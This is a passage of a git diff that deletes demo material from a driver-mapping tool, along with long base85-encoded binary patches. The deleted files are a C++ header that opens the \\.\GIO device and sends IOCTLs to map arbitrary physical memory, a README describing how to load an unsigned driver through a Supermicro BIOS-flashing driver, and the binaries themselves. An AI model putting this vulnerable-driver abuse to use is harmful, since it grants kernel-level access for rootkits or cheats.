zo*dkPwBL&Gd(@g!djj4>{f$cEefS3yo)?Zij=3d&625~9#FyZf<73uL;tO!M9kUkT zOYoQ>QH%|z4~<#Z)1HDKm(x!?1z)V^kUkd_;hYnRR}7psj5Wi%a5>Wa`|vU2^YEyX zW0rnaV8b;i++*L0L&IF|>HJ)N4AcpE;4)Q2McYGt%`aX14he+sTKJ_q}s5w*u*1=9RDa0O~4Pa5t+ zdQG>^q*NkOOad-P;k5=U&Z0II`!fMwLMzn=SXULrr{E^z3vfua*-P+^v$+n5FTv9t z=AX58;NvLV=kU67SZiW@_-90cGphgxoy)oL9^8QRbBO{RIXV`;#yRjRr1|vVDPv;c z=U)fjfwTwG@UF33cgKs6H zzLnq!7e#$@ppU|Jfls2f>NDJr)PHLd*Dlg^?Z9rNeV&8+(E|ExT}+>m-Y2;5X5`_0 z_=r3)dAJAZv$HihW}SxQ9k_K$%xWd32rs#W{@`7>=Ti2Y^4GElkk%yuTabP(;lbyT z=CcUz_)&Dl}DB z>eGC}2Y$l!e-U}$LO0rn9_&EsXAbVJ<23+Zg1ct0C;8l0f<5(-FTg>UM=^2OZ+6rk zhnFI)iwmzox{f^fGSZqB;R$o1HA=u`sEYph@O7lMC_#HJ_iNh4jYxZ=00+*C<|Gc! zH$DkxU%}ocJ_Tc`=sKk`ruC@td3f%X(HbRT5ltgroH*aK!@H2?KMl*97$Y$W*o)fm zC0M&4ig96&@dY?xVbsqgys?@6PrMJ;wGhV~=Hc5YtueyG7n$n_UWv3HJh%mwO=7(8 zu%AWevf%|tYm|g{BgLfQP89AL_%YI)TZ`EPNbwGwZhQ*nkmAJ>(s{*$uBNUJIpgp{ zr1i3{;WZs;Z+q}nr1$ehILM3g+ik!z567y3x?A#dWkrF|s41=Zqjg$FO=K8!De4qA^-+#ItmLV5gT=p(ha!Hvd0 z0axA<3vH^L=I?c$xrx500$U<~9Gzl#*3+EQbTuYmy? zdU3z7cGS1;pda`O_|!^XGw_?Cb!T)gaVygOWE&jw3-$mp4X_ny?Zi&w*Ta5oG4AE; zVK^PB4-4QksD-}mg8r}A!^EtE&mhJ0!HT=07;&cY?ke&ik9ZH>h+6R~NUnP1L+P8i z$#@mzKJnL#i<~Nat-9BW5mo+LUcAo5=8WW0)1t5&tz#e?sTyb4XL&a~P^ z6_Az}RYzK0Y&Kqnp;Z@J?V`#<%ZsWKEibBAw7jUA(ek27N6U-V#yfDT@h)6!ya!hq zpN0<^pNB6QUxXhSuVTl8k@BlRaJBI&@LOxV>h|7)G@mNU+hf{Qkha%&6__ncM|t9~ z!uSNNF+K@ZpH=4)uQT3!j#ySU7F6_QjP zNwteACn+y}U_7M=tied_HayFC2i6+z!T^PP7512R6)Swpcoig6JwoLXRhCd*ywrFX zwixe0)%H`2c%SikxZU_7+-tmw>8XC6;>CKT{-_q7YR<`vsvozD`=O}6t)h7GpswhC z7>D06J^{xVpM>?sr{E37`*5}Kov{Bs<{obSul_MEQX%j28F{})L*h%?zcL{FU+k9t zPR3FNec@l#sFt~nb~BH)@O$6YPv_07YvehT z>heYPP35D`KJ3t{x~8W3xzigL*(8|PR9((vKxa11XsDlC*EH0Wfw9K!+ zav^7_pLw9dNYjCD{`hf82 zjZO9C_V5FFs)qmPvs4ZLT%W3j9~c~mR}KHyyz#{s*5XUQ%yFOK8+NuLo5)sXooq5& zn{~4d*;KYA>t$QBezr54%dXFQovodTuF5W_tEMa2RomruHFSAhtzCYXmFKgDa-}PHU_mb&Ux-Fegm(qUw_V##( n)6v?Iqqk-B%;TIk=SXLIGx62Q)orV{uZ}Yp>$4pAfB5g8 -#include -#include -#include - -#include "../util/util.hpp" -#include "../loadup.hpp" -#include "../raw_driver.hpp" - -#pragma pack ( push, 1 ) -typedef struct _GIOMAP -{ - unsigned long interface_type; - unsigned long bus; - std::uintptr_t physical_address; - unsigned long io_space; - unsigned long size; -} GIOMAP; -#pragma pack ( pop ) - -namespace physmeme -{ - inline std::string drv_key; - - // - // please code this function depending on your method of physical read/write. - // - inline HANDLE load_drv() - { - const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver)); - drv_key = key; - - return CreateFile( - "\\\\.\\GIO", - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unload_drv() - { - return driver::unload(drv_key); - } - - inline HANDLE drv_handle = load_drv(); - - // - // please code this function depending on your method of physical read/write. - // - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) - { - //--- ensure the validity of the address we are going to try and map - if (!util::is_valid(addr)) - return NULL; - - GIOMAP in_buffer = { 0, 0, addr, 0, size }; - uintptr_t out_buffer[2] = { 0 }; - unsigned long returned = 0; - DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) - { - uintptr_t in_buffer = addr; - uintptr_t out_buffer[2] = {sizeof(out_buffer)}; - - unsigned long returned = NULL; - DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - } -} diff --git a/demo/supermicro/README.md b/demo/supermicro/README.md deleted file mode 100644 index 4138650..0000000 --- a/demo/supermicro/README.md +++ /dev/null @@ -1,15 +0,0 @@ -# Warning - -This demo works on Windows 10-1909 and below, after 1909 physmeme.sys isnt supported view: [PFN_LIST_CORRUPT](https://githacks.org/xerox/physmeme/issues/2). - -# Demo - -simply open a console as admin, run "physmeme.exe hello-world.sys" and you should see a DbgPrint inside of dbgview. - -- pmdll64.dll is part of a supermicro bios flashing utility -- physmem64.sys is part of a supermicro bios flashing utility -- hello-world.sys just prints the base address and size of the driver :) - - - -Code for hello-world.sys: [https://githacks.org/xerox/physmeme/issues/1#note_37](https://githacks.org/xerox/physmeme/issues/1#note_37) \ No newline at end of file diff --git a/demo/supermicro/hello-world.sys b/demo/supermicro/hello-world.sys deleted file mode 100644 index 7f2301f7e9e730af66ed0935ce4edb0ce04850fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6272 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 diff --git a/demo/supermicro/phymem64.sys b/demo/supermicro/phymem64.sys deleted file mode 100644 index 572668e3d97b213dc14d5f7c771279abffeb8f9f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 19240 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 diff --git a/demo/supermicro/physmeme.exe b/demo/supermicro/physmeme.exe deleted file mode 100644 index f5d4e52bb6b536a4868282ff429ae75c1f284eaf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 169472 zcmeEvdwg6~)%K*#z_c_>fCj>SfB^=IWuPG8QaFVI2P`m1)yPE#D-bA`NRtwfOXH-_ zFrAko6;K2#prE24Ds7QV3Y88j5$A@QoxKoiR&_4BmX>@ z&s1#|TSQn3Ad>{H=inOo=fz?}Q@gdH@CaUGG>nTzwezN4GVhW(s1lh#HZeB&T%&ep zUvM!RQbw`0w%yWE?T$q4|NjRG_=R_ivjjjF0j#;IA$?K)`q*cC?SBF9@6-N1`(N9* z|3>-S`6cqV9YEFa=jd%Gj&E)yG*06E5sI&!__hi0K^{AzXr!4%rTAAqGcFcLdDb8V zIcsocy4@d~oo@BKA9FJ6V*Pg}dCW;>@(~7iXtEznG}DJ$0u@q$7Yu z#VG)S5}*Pe@H+isya{gSPh0H+nMZ|o@vg%M&<@^ZM77nn4-+h&v&5M>dfE^%=1EG{ zoCu;&mGal16a5RFVHdLiaN1AI(4|69XOy6sXdYqhV?@^qf!zBwVoB&@VF))gE*dI~ zOWFV`I{Ml~Y)kobQleo3HwXo|GeU4#zX3Q~I18*6RsrO2we1c>HSJzlor=I$1!NrL z@uMJ@t8EvtuQ-cSSUcON{6b$M)|1rxqL=Uoo70uepz{`i(wz2-_+MDv9*8Kabl{|r zFN2T)tfR2DY2i>$@}YJJMQa|LAChbxwZ>{PGgi<&sW9l3u&#WMR-`gI`Ky7*Ar9;5 z4e;-!dToIJh(`DWc@f_u#OGj#_9#K2Eky!^tYgHum8{?1)qpH^m4E*ceP8ZvAfFog zP9WkM`U>lO4Q3x^RjF;t5%3a;ZqpY6T4A*x=!yi@$~z)yj^R$y$+1})yZ^sJP2DXn 